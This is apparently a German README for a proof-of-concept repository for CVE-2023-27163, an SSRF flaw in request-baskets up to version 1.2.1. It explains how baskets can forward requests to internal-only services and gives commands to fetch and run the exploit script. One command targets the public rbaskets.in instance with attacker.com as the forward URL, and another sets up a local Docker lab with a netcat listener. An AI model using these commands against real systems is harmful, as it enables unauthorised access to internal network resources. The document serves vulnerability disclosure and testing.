
Proof-of-Concept für Server Side Request Forgery (SSRF) in request-baskets (<= v.1.2.1)
Dieses Repository enthält einen Proof-of-Concept (PoC) für CVE-2023-27163, eine Server-Side-Request-Forgery-Schwachstelle (SSRF), die in request-baskets bis Version 1.2.1 entdeckt wurde. Diese Schwachstelle ermöglicht es Angreifern, über eine manipulierte API-Anfrage auf Netzwerkressourcen und vertrauliche Informationen zuzugreifen, indem sie die Komponente /api/baskets/{name} ausnutzen.
Dank an @b33t1e, @chelinboo147 und @houqinsheng (siehe Artikel).
wget https://raw.githubusercontent.com/entr0pie/CVE-2023-27163/main/CVE-2023-27163.sh
bash ./CVE-2023-27163.sh https://rbaskets.in/ http://attacker.com/
Request-baskets ist eine Webanwendung, die dazu dient, Anfragen auf einer bestimmten Route, dem sogenannten Basket, zu sammeln und zu registrieren. Beim Erstellen kann der Benutzer einen anderen Server angeben, an den die Anfrage weitergeleitet wird. Das Problem dabei ist, dass der Benutzer unbeabsichtigte Dienste angeben kann, beispielsweise Anwendungen, die vom Netzwerk abgeschottet sind.
Zum Beispiel: Angenommen, der Server hostet Request-baskets (Port 55555) und einen Flask-Webserver auf Port 8000. Der Flask ist außerdem so konfiguriert, dass er nur mit localhost kommuniziert. Indem der Angreifer einen Basket erstellt, der an http://localhost:8000 weiterleitet, kann er auf den zuvor eingeschränkten Flask-Webserver zugreifen.

docker run -p 55555:55555 darklynx/request-baskets:v1.2.1
wget https://raw.githubusercontent.com/entr0pie/CVE-2023-27163/main/CVE-2023-27163.sh
nc -lvp 8000
DOCKER_IP=$(ifconfig docker0 | grep inet | head -n 1 | awk '{ print $2 }')
./CVE-2023-27163.sh http://127.0.0.1:55555/ http://$DOCKER_IP:8000/
Dieses Projekt steht unter der Unlicense.